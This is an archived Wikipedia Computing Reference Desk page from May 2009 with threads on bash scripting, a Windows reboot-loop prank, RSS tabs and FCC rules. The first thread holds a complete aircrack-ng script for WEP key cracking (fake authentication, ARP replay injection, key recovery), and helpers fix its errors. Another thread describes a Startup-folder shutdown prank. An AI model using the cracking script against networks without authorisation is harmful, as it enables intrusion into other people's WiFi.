Wikipedia:Reference desk/Archives/Computing/2009 May 11
Computing desk | ||
---|---|---|
< May 10 | << Apr | May | Jun >> | May 12 > |
Welcome to the Wikipedia Computing Reference Desk Archives |
---|
The page you are currently viewing is an archive page. While you can leave answers for any questions shown below, please ask new questions on one of the current reference desk pages. |
May 11
[edit]Bash Scripting errors
[edit]Hello there, I am having a problem with the script below, The script works just fine but it returns some errors. I was wondering how i can make these errors go away. If it helps i am running Ubuntu 9.04. Thank you
#!/bin/bash
#Checks for and promps for data
echo "Please wait"
AIRESSID=$3
if [ $1 = ]; then
echo "BSSID?"
read AIRBSSID
else
AIRBSSID=$1
fi
if [ $2 = ]; then
echo "Channel?"
read AIRCHANNEL
else
AIRCHANNEL=$2
fi
if [ $4 = ]; then
AIRTIME=3m
else
AIRTIME=$4
fi
#Start the wireless interface in monitor mode on the specific AP channel
sudo ifconfig wlan0 down > null
sudo airmon-ng start wlan0 $AIRCHANNEL > null
sudo iwconfig wlan0 channel $AIRCHANNEL > null
#Use aireplay-ng to do a fake authentication with the access point
if [ $AIRESSID = ]; then
sudo aireplay-ng -1 0 -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
gnome-terminal -x sudo aireplay-ng -1 6000 -o 1 -q 10m -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
else
sudo aireplay-ng -1 0 -a $AIRBSSID -e $AIRESSID -h 00:00:00:00:00:00 mon0 &
gnome-terminal -x sudo aireplay-ng -1 6000 -o 1 -q 10m -e $AIRESSID -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
fi
#Start airodump-ng on AP channel with a bssid filter in a new window to collect the new unique IVs
gnome-terminal -x sudo airodump-ng -c $AIRCHANNEL --bssid $AIRBSSID -w /home/User/output/output mon0 &
#Start aireplay-ng in ARP request replay mode to inject packets in new window
gnome-terminal -x sudo aireplay-ng -3 -b $AIRBSSID -h 00:00:00:00:00:00 mon0 &
#waits while airodump gathers data
echo "Please wait" $AIRTIME
sleep $AIRTIME
#Run aircrack-ng to crack key using the IVs collected
sudo aircrack-ng -z -b $AIRBSSID /home/User/output/output*.cap
#Stops the WiFi card and brings it back up for use by the user.
sudo airmon-ng stop mon0 > null
sudo ifconfig wlan0 down > null
User@CompName:~$ ./startaircrack 00:00:00:00:00:01 6 123456
Please wait
./startaircrack: line 6: [: 00:00:00:00:00:01: unary operator expected
./startaircrack: line 12: [: 6: unary operator expected
./startaircrack: line 28: [: 123456: unary operator expected
Please wait 3m
SmilyHill (talk) 16:48, 11 May 2009 (UTC)
- Your script seems to be doing something to crack WiFi access. If the access point is not your own, what you are doing could make you very unpopular with your neighbours and could be illegal in some jurisdictions. Astronaut (talk) 17:28, 11 May 2009 (UTC)
- This is very true. I will not dive in to my business practices on a public forum, but i will tell you that i do not break in to anyone's WiFi without their express written permission. SmilyHill (talk) 18:00, 11 May 2009 (UTC)
- I can't do any testing right now, but I think the problem is that in the lines like:
if [ $1 = ]; then
- there has to be something on the right side of the equals sign. A common approach is to put an "x" or other symbol on both sides:
if [ x$1 = x ]; then
- See if that helps. -- Coneslayer (talk) 18:14, 11 May 2009 (UTC)
- I can't do any testing right now, but I think the problem is that in the lines like:
- This is very true. I will not dive in to my business practices on a public forum, but i will tell you that i do not break in to anyone's WiFi without their express written permission. SmilyHill (talk) 18:00, 11 May 2009 (UTC)
I just tried it, I get the same error.
User@CompName:~$ startaircrack 00:00:00:00:00 6 12345
Please wait
/bin/startaircrack: line 10: [: 00:00:00:00:00: unary operator expected
/bin/startaircrack: line 16: [: 6: unary operator expected
/bin/startaircrack: line 32: [: 12345: unary operator expected
SmilyHill (talk) 18:23, 11 May 2009 (UTC)
- So presumably you're doing pen testing or something. I'd expect you to be able to fix some simple and obvious bash errors. Hint: RTFM for
test
. --h2g2bob (talk) 18:27, 11 May 2009 (UTC)- I am not sure what error's are "obvious". That is why i am here.
- I know this script is written in a sloppy way, infact i had to rewrite it for Ubuntu 9.04. If someone know a better way to write this.. or even a way to throw this in a GUI, feel free to let me know. SmilyHill (talk) 18:30, 11 May 2009 (UTC)
- Try some whitespace between your brackets and your expressions inside the [ : = :$VAR ] statements. As for being "obvious", the error messages are telling you exactly which line of code is broken. As mentioned above, fix these lines of code. If you need further help with test statements, type
man test
in the terminal, and you will get all the correct syntax for this type of statement. Nimur (talk) 18:38, 11 May 2009 (UTC)
- Try some whitespace between your brackets and your expressions inside the [ : = :$VAR ] statements. As for being "obvious", the error messages are telling you exactly which line of code is broken. As mentioned above, fix these lines of code. If you need further help with test statements, type
- That worked. Thank you. SmilyHill (talk) 18:48, 11 May 2009 (UTC)
Rewrite
[edit]I'd like to know how i can rewrite this script to accept expressions. What i mean by this is that i would like to type in the following code to run the program:
User@CompName:~$ startaircrack --Mac=00:00:00:00:00 --channel=6 ESSID==12345
Or
User@CompName:~$ startaircrack -m 00:00:00:00:00 -c 6 -e 12345
The reason i'd like to do this is because the order that i give the expressions would not matter;
SmilyHill (talk) 18:48, 11 May 2009 (UTC)
- As you might have already figured out, BASH doesn't have such a feature built-in. You can either write your own argument-parser (think of a simple for-loop to iterate over the input arguments, and some switch statement logic), or find a "library" utility which already does this for more complex argument-lists, with error-handling. Nimur (talk) 18:54, 11 May 2009 (UTC)
- Sure it does. Type "help getopts" or google for bash getopts for tutorials. --Sean 20:00, 11 May 2009 (UTC)
- As you might have already figured out, BASH doesn't have such a feature built-in. You can either write your own argument-parser (think of a simple for-loop to iterate over the input arguments, and some switch statement logic), or find a "library" utility which already does this for more complex argument-lists, with error-handling. Nimur (talk) 18:54, 11 May 2009 (UTC)
- The most cross-platform way to write an if statement for Bourne-ish shells is:
if [ "X$var" = Xwhatever ]
- This will parse correctly whether var is empty, has spaces, etc. You must of course quote the thing on the right if it's got anything weird in it. Also, I can't believe some of the rude responses in this thread. --Sean 20:00, 11 May 2009 (UTC)
![](http://upload.wikimedia.org/wikipedia/en/thumb/f/fb/Yes_check.svg/20px-Yes_check.svg.png)
Infinite Boot Loop
[edit]I am not a computer expert, in fact far from it, I know very little about computers. But I was reading an article the other day about some pranks to play on people using their computers where you formed what they called an "infinite boot loop" where the computer would try to start, then shut down part of the way through, then repeat the process, obviously infinitely if there is a power supply. The article said that in order to stop it all you had to do was to start up in safe mode then delete it. Well, safe mode didn't work either. What I did was create a shortcut on my desktop that said this in the location box - "shutdown -r -t 10 -c "Your Message Here"". Is there any real way to undo this action and how can I get rid of it? Thanks jondn (talk) 19:36, 11 May 2009 (UTC)
- The easiest way is probably to boot from a different medium. This used to be done with floppy disks, but I doubt you have any of those lying around. The most likely candidate is your windows installation CD. If you start up with that in your drive, your computer is likely to boot from the CD, rather than the hard disk. If this doesn't work, you'll need to enter you BIOS and change the boot order. Once you've booted from the windows cd, you can enter recovery mode, which gives you a command prompt, you can type "C:" to change to your hard disk. "dir" to get a list of files and folders in your current location, and "cd foldername" to change to another folder. In Windows Vista, the startup folder is in
C:\users\YourName\AppData\Roaming\Microsoft\Windows\Start Menu
- So you would type "c:" hit enter, and then "cd users\YourName\AppData\Roaming\Microsoft\Windows\Start Menu". then you can type "del nameoffile" to delete your shortcut file. risk (talk) 19:50, 11 May 2009 (UTC)
- A different way to do the same thing as suggested above would be to stick your hard drive in someone else's computer, delete the offending file from in there, and then return it to its place in your machine. --Sean 20:03, 11 May 2009 (UTC)
- So is following these instructions different than getting in cmd through safe mode and deleting the file without the disk? A friend of mine was able to get into it and supposedly deleted the file (the next time we looked for it it was gone), but the problem still persists.
- Thanks for your help jondn (talk) 22:05, 11 May 2009 (UTC)
- If I understand correctly, you made a shortcut in your Startup folder (not on your desktop, it wouldn't run automatically there) which runs "shutdown -r -t 10". That restarts the computer (-r) after a ten-second warning period (-t 10). One thing you could try, if you're a fast enough typist, is pressing Win+R to open the Run dialog and then typing "shutdown -a" (without the quotes, followed by Enter). You can start typing the command before the ten-second warning dialog comes up, but don't press Enter until it's visible. That will cancel the restart, and then you have unlimited time to hunt down the file before your next restart. If you're using Windows XP or earlier then another solution is to hold down the Shift during the startup process, which will prevent programs in the Startup folder from running. They removed that feature in Vista for some reason.
- Am I also to understand that your friend did this to his/her own machine, then undid it by deleting the file, and it's still happening? That makes no sense at all. -- BenRG (talk) 11:44, 12 May 2009 (UTC)
- You could try holding down the shift key during the boot process. I think it is supposed to suppress the running of anything in the Startup folder (at least it did so on older versions of Windows but I haven't heard if this still works on Xp or Vista). Astronaut (talk) 11:57, 12 May 2009 (UTC)
rss feeds
[edit]Hello, I am looking for a way to open all linked .html pages in a given rss feed into new tabs automatically in firefox. I would like the system to update the rss feed and when a new .html page appears to open it also in a new tab, but not to open .html pages that have already been opened into new tabs. Thank you —Preceding unsigned comment added by Saving rss feeds (talk • contribs) 20:48, 11 May 2009 (UTC)
- I have an iMacros macro that will open links from a static page, on one particular site. You'd need a script that will monitor the feed, either continuously or at intervals, and be able to identify the new content. I'd love to have one like this myself. If you'd say what scripting or programming experience you have, someone is sure to offer a solution.KoolerStill (talk) 16:32, 12 May 2009 (UTC)
Future trend of the FCC's regulations in the 2.4-GHz RF spectrums?
[edit]What is the future trend of this agency's regulations in the 2.4-GHz RF spectrum —Preceding unsigned comment added by 75.151.177.58 (talk) 23:21, 11 May 2009 (UTC)